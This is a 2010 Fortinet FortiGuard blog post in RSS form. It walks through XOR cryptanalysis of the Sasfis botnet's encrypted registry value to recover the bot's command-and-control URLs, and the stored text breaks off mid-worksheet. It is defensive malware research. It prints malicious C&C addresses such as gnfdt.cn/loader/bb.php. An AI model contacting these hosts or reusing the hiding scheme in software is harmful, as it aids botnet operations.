<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Fortinet FortiGuard Blog &#187; Research</title>
	<atom:link href="http://blog.fortinet.com/tag/research/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.fortinet.com</link>
	<description>Real Time Network Protection</description>
	<lastBuildDate>Wed, 10 Mar 2010 17:13:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" -->
		<copyright>&#xA9;Fortinet Product Marketing </copyright>
		<managingEditor>jleggio@fortinet.com (Fortinet Product Marketing)</managingEditor>
		<webMaster>jleggio@fortinet.com(Fortinet Product Marketing)</webMaster>
		<category>Fortinet Product Information</category>
		<ttl>1440</ttl>
		<itunes:keywords>forti-gate, anti-spam, anti-virus, fortigate</itunes:keywords>
		<itunes:subtitle>The latest news and information about Fortinet products and services for Real Time Network Protection.</itunes:subtitle>
		<itunes:summary>Fortinet is a leading provider of Unified Threat Management (UTM) network security solutions for enterprise and service provider environments. The Fortinet FortiCast delivers news, information, and tutorials about products, services, and industry trends. Fortinet's FortiGate product line and FortiGuard security subscription services provide an array of integrated network security functions including antivirus, firewall, virtual private networking, intrusion prevention (IPS), web filtering, antispam and traffic optimization. </itunes:summary>
		<itunes:author>Fortinet Product Marketing</itunes:author>
		<itunes:category text="Technology"/>
<itunes:category text="Technology">
  <itunes:category text="Tech News"/>
</itunes:category>
		<itunes:owner>
			<itunes:name>Fortinet Product Marketing</itunes:name>
			<itunes:email>jleggio@fortinet.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-300x300.jpg" />
		<image>
			<url>http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-144x144.jpg</url>
			<title>Fortinet FortiGuard Blog</title>
			<link>http://blog.fortinet.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Cryptanalysis of the Sasfis Registry Key</title>
		<link>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/</link>
		<comments>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 17:10:41 +0000</pubDate>
		<dc:creator>DMacDonald</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[sasfis]]></category>
		<category><![CDATA[sasfis registry key]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1038</guid>
		<description><![CDATA[Recently I&#8217;ve been working on an analysis of Sasfis botnet communications. During the tests I noticed that when the bot installs itself, it adds a registry key named &#8220;idid&#8221;, with some random looking data in it. The data was added under the name &#8220;url0&#8243;, so it seemed like it must be an encrypted URL. Here [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I&#8217;ve been working on an analysis of <strong>Sasfis</strong> botnet communications. During the tests I noticed that when the bot installs itself, it adds a registry key named <strong>&#8220;idid&#8221;</strong>, with some random looking data in it. The data was added under the name <strong>&#8220;url0&#8243;</strong>, so it seemed like it must be an encrypted URL. Here is an example from one of the bot variants:</p>
<p><span style="font-family: courier new;">Key Name:          HKEY_CLASSES_ROOT\<strong>idid</strong></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> Name:            <strong>url0</strong></span></p>
<p><span style="font-family: courier new;">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">00000020   a4 98 ba d8  2c 85 17 ad  ce c0 b1 a5  9f c8 07 0b</span></p>
<p>But what URL could this be, if it is one? Most of these bytes are not in the normal text range, so it would have to be encrypted. Even when there was no network connection, the <strong>url0</strong> data was added, so I knew it must be hard coded into the bot. From the tests I had been doing, I also knew that the bot contained a hard coded URL for its Command and Control server. So it seemed possible that the C&amp;C URL was encrypted here, but of course I would have to prove that.</p>
<p>The first 16 bytes of the <strong>url0</strong> values, from six bot tests, with their <strong>test identifiers (T3, M2 etc.)</strong>, are listed below. The list is sorted by the opening bytes. They fall into two groups where the first seven bytes are identical. The <strong>T2</strong> data is slightly different from the ones below it, but the one different byte (<strong>f1</strong>) could be the result of an encryption error.</p>
<p><span style="font-family: courier new;">T3   <span style="color: #0000ff;">1e 9b 6d d8  89 e6 c4</span> 50  7f fd 13 6b  fa e2 f4 17</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">M2   <span style="color: #0000ff;">1e 9b 6d d8  89 e6 c4</span> 5f  60 ff 12 7b  bd ea f3 4c</span></p>
<p><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">T2   f1 <span style="color: #ff0000;">9b 20 62  fc 48 d0</span> 3e  27 fc 1d f7  94 5a ff 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">T1   <span style="color: #ff0000;">f8 9b 20 62  fc 48 d0</span> 32  3c fc 17 f1  91 51 ea 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">M1   <span style="color: #ff0000;">f8 9b 20 62  fc 48 d0</span> 2a  2e fc 11 f9  81 1a f6 74</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">M5   <span style="color: #ff0000;"><span><span style="background-color: #ffffff;">f8 9b 20 62  fc 48 d0</span></span></span> 2b  2a fd 17 e2  87 46 ea 7e</span></p>
<p>Looking at this, it seems fairly likely that each group was encrypted with the same key. And if these are URLs, the seven common bytes at the beginning of each line could be <strong>&#8220;http://&#8221;</strong>, if we are on the right track.</p>
<p>The obvious move at this point is to test this theory. We can start with the first row of hex data from the <strong>T3</strong> and <strong>M2</strong> tests, recover the key for <strong>T3</strong> using the hard coded URL for that variant, then find out if the key is correct by decrypting <strong>M2</strong> with it. The worksheet below shows the hard coded <strong>URL</strong> and the <strong>url0</strong> registry data for<strong> T3</strong> in the first two lines. At the bottom is the URL in <strong>text</strong> format and in the <strong>plain</strong> line are the equivalent hex bytes.</p>
<p><strong style="font-family: Courier New;">T3</strong> <span style="font-family: courier new;">http://gnfdt.cn/loader/bb.php</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17  (encrypted in registry)</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;">key</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span><span style="font-family: courier new;"> (url in hex format)</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /   (</span><span style="font-family: courier new;">known hard coded URL)</span><br style="font-family: Courier New;" /><br />
We will assume that the key was <strong>XOR</strong>ed with the plaintext to produce this encryption. That is the most likely case, but if we are wrong it will be necessary to try some other methods. From this basis we will now <strong>XOR</strong> the <strong>encrypted</strong> and <strong>plain</strong> bytes to recover the <strong>key</strong>.</p>
<p><strong style="font-family: Courier New;">T3</strong> <span style="font-family: courier new;">http://gnfdt.cn/loader/bb.php</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span><span style="font-family: courier new;"> (encrypted in registry)</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;">key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span><span style="font-family: courier new;"> (recovered key)</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span><span style="font-family: courier new;"> (url in hex format)</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /   (</span><span style="font-family: courier new;">known hard coded URL)</span></p>
<p>Now we have some key bytes, but there is no proof that they are real. To prove that, we can use the key bytes to decrypt <strong>M2</strong>. The result is below. Part of the URL that is hard coded into the <strong>M2</strong> bot has been revealed.</p>
<p><strong style="font-family: Courier New;">M2</strong> <span style="font-family: courier new;">http://hqdedikit.com/mld/bb.php</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">00000000   1e 9b 6d d8  89 e6 c4 5f  60 ff 12 7b  bd ea f3 4c</span><span style="font-family: courier new;"> (encrypted in registry)</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;">key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span><span style="font-family: courier new;"> (recovered key)</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"><span><span style="background-color: #ffffff;">plain      68 74 74 70  3a 2f 2f 68  71 64 65 64  69 6b 69 74<span style="color: #000000;"> (decrypted hex)</span></span></span></span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">text       h  t  t  p   :  /  /  h   q  d  e  d   i  k  i  t   (decrypted text)</span></p>
<p>So our case is proved, the hard coded URL is the one hidden in the registry key. We can easily extend this through the rest of the encrypted data to show the whole URL, and remove any lingering doubt.</p>
<p><strong>But what would we do if each bot variant had its own key?</strong> The method above would not work, but there are other ways to approach this problem. One way is to check whether this is a repeating key encryption system. They are very common, and if it is we can make comparisons within one URL, instead of using two as we did above.</p>
<p>Let&#8217;s try this method with <strong>T3</strong>. The simple way is to use the whole URL to find as many key bytes as possible, then look for repetitions.</p>
<p><strong style="font-family: Courier New;">T3</strong> <span style="font-family: courier new;">http://gnfdt.cn/loader/bb.php</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;">key        <strong>76 ef 19 a8</strong> b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /</span></p>
<p><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;">key        <strong>76 ef 19 a8</strong> b3 c9 eb 37  11 9b 77 1f  d4 </span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;">plain      6c 6f 61 64  65 72 2f 62  62 2e 70 68  70</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;">text       l  o  a  d   e  r  /  b   b  .  p  h   p </span></p>
<p>Here we can see that the key starts to repeat at the start of the second row. So the key length is 16 bytes, and again we have proved that the key holds the hard coded URL. Decrypting the next byte at the end provides a little bonus, <strong>0&#215;81 XOR 0&#215;81 = 0&#215;00</strong>, the null terminator for the string. Decryption from this point onward exposes bytes that appear to be random.</p>
<p><strong>But now consider another scenario,</strong> <strong>what would we do if we had no idea what the encrypted URLs were?</strong> If we have bots with different URLs using the same key, the problem is not beyond solution. To demonstrate I will use the data from <strong>T1</strong> and <strong>M1</strong>, from the other key group. It turns out, in the end, that only the first two lines of hex are needed for this, so the example below will not show the third line.</p>
<p>First we need to locate the key repetition. We can try <strong>&#8220;http://&#8221;</strong> at the start to find the first seven key bytes. With these key bytes we can  decrypt at different locations until some URL-like text appears. The bot code probably processed this as DWORDs, so we will take a shortcut by checking at four byte intervals, and use only four key bytes for each decryption. If this fails we will have to try decrypting at different intervals, possibly even at every byte. The <strong>&#8220;?&#8221;</strong> marks below indicate decrypted bytes outside the normal text range, which we would not expect in a URL.</p>
<p><span style="font-family: courier new;"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        <strong>90 ef 54 12  c6 67 ff</strong> <strong>90 </strong>ef 54 12  <strong>90 </strong>ef 54 12</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f     ac 13 43 e3  01 be be 2d</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /      ?  ?  C  ?   ?  ?  ?  -</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        <strong>90 </strong>ef 54 12<strong> 90 </strong>ef 54 12<strong> 90</strong> ef 54 12<strong> 90</strong> ef 54 12</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      63 6e 2f 6d  3a ec 84 2f  b7 51 5c ea  15 d8 10 95</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       <strong style="background-color: #ffffff; color: #000000;"><span style="color: #ff0000;">c  n  /  m</span> </strong> :  ?  ?  /   ?  Q  \  ?   ?  ?  ?  ?</span></p>
<p>The true decryption appears to be <strong style="font-family: Verdana;">&#8220;</strong><span style="font-family: courier new;"><strong style="background-color: #ffffff; color: #000000; font-family: Verdana;"><span style="color: #000000;">cn/m&#8221;</span></strong><span style="font-family: verdana;"><span><span style="background-color: #ffffff;"><span style="color: #000000;">,</span></span></span></span><span><span style="background-color: #ffffff;"><span style="color: #000000;"><span style="font-family: verdana;"> at the start of the second row. None of the others is even close.</span> </span></span></span></span>So it looks like we have found the key repetition and the key length. With this information we can set up our work sheet, with the known key bytes and decryptions they give us filled in. It can be seen below, where the decrypted parts confirm our work so far.<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       <strong style="color: #000000;">h  t  t  p   :  /  /</strong></span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      63 6e 2f 6d  6c 64 2f</span> </span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       <strong style="color: #000000;">c  n  /  m   l  d  /</strong> </span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       <strong style="color: #000000;">h  t  t  p   :  /  /</strong></span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      74 2f 6c 6f  61 64 65</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       <strong style="color: #000000;">t  /  l  o   a  d  e</strong></span><br style="font-family: Courier New;" /><br />
Now we need to extend the URL text parts to uncover more key bytes. In other words we need to make some good guesses, but because the structure of URLs is well known to us, this should not be too difficult.</p>
<p>Notice that the second text line under <strong>T1</strong> starts with <strong>&#8220;cn/mld/&#8221;</strong>. This looks like a <strong>&#8220;.cn&#8221;</strong> top level domain, so let&#8217;s fill in the <strong>&#8220;.&#8221;</strong> and apply the key byte we get.</p>
<p><span style="font-family: courier new;"><strong>T1 </strong>00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff                           11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f                           2e</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /                            <strong style="color: #ff0000;">.</strong></span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      63 6e 2f 6d  6c 64 2f                           96</span> </span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       c  n  /  m   l  d  /                            <strong style="color: #ff0000;">?</strong></span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff                           11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f                           65</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /                            <strong style="color: #ff0000;">e</strong></span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      74 2f 6c 6f  61 64 65                           00</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       t  /  l  o   a  d  e                            <strong style="color: #ff0000;">\0</strong></span></p>
<p>Now we have some more decrypted bytes. There is a null at the end of <strong>M1</strong>, this must be the URL string terminator, and a non-text byte (0&#215;96), but let&#8217;s ignore that one for now. It may be junk from beyond the end of the URL string, and we will know soon enough if this was a bad guess. At the end of the first <strong>M1</strong> line the text character is an <strong>&#8220;e&#8221;</strong>, so that we now have <strong>&#8220;et/loade&#8221;</strong>. This looks like it must be <strong>&#8220;.net/loader&#8221;</strong>, so next we will fill this in and decrypt some more.</p>
<p><span style="font-family: courier new;"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f 6d                  65 72 2e</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /  <strong style="color: #0b5394;">m</strong> <strong style="color: #ff0000;">e  r</strong> .</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      63 6e 2f 6d  6c 64 2f 62                  00 dc 96</span> </span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       c  n  /  m   l  d  /  <strong style="color: #0b5394;">b</strong> <strong style="color: #ff0000;">\0 ?</strong> ?</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff 5f                  34 98 11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f 75                  2e 6e 65</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /  <strong style="color: #0b5394;">u </strong> <strong style="color: #ff0000;">.  n</strong> e</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      74 2f 6c 6f  61 64 65 72                  68 70 00</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       t  /  l  o   a  d  e  <strong style="color: #0b5394;">r</strong> <strong style="color: #ff0000;">h  p</strong> \0</span></p>
<p>There is nothing very obvious here, but at the end of the second row of <strong>M1</strong> we have <strong>&#8220;hp\0&#8243;</strong>. This looks like it could be <strong>&#8220;.php&#8221;</strong>, so let&#8217;s try that next.</p>
<p><span style="font-family: courier new;"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f 6d           61  64 65 72 2e</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /  m            <strong style="color: #ff0000;">a   d</strong> e  r  .</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      63 6e 2f 6d  6c 64 2f 62           68  70 00 dc 96</span> </span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       c  n  /  m   l  d  /  b            <strong style="color: #ff0000;">h   p</strong> \0 ?  ?</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 34 98 11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f 75           69  74 2e 6e 65</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /  u            <strong style="color: #ff0000;">i   t</strong> .  n  e</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 5f           90  f5 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      74 2f 6c 6f  61 64 65 72           2e  70 68 70 00</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       t  /  l  o   a  d  e  r            <strong style="color: #ff0000;">.   p</strong> h  p  \0</span></p>
<p>This looks good, and now we have some good hints. In <strong>T1</strong>, in the first line, it looks like we have <strong>&#8220;//m?loader.&#8221;</strong> and in the second line another <strong>&#8220;.php&#8221;</strong> is developing. We can put these in.<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff 5f     90 78 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      68 74 74 70  3a 2f 2f 6d     6c 6f 61  64 65 72 2e</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       h  t  t  p   :  /  /  m      <strong style="color: #ff0000;">l  o</strong> a   d  e  r  .</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #0000ff;"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new;"><span style="color: #0000ff;"> 5f </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">90 78</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">90  f5</span></span> <span style="font-family: courier new;"><span style="color: #0000ff;">34 98 </span></span><span style="font-family: courier new;"><span style="color: #0000ff;">11</span></span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"><span style="color: #ff0000;"> plain      63 6e 2f 6d  6c 64 2f 62     2e 70 68  70 00 dc 96</span> </span><br style="font-family: Courier New;" /><br />
<span style="font-family: courier new;"> text       c  n  /  m   l  d  /  b      <strong style="color: #ff0000;">.  p</strong> h   p  \0 ?  ?</span><br style="font-family: Courier New;" /><br />
<br style="font-family: Courier New;" /><br />
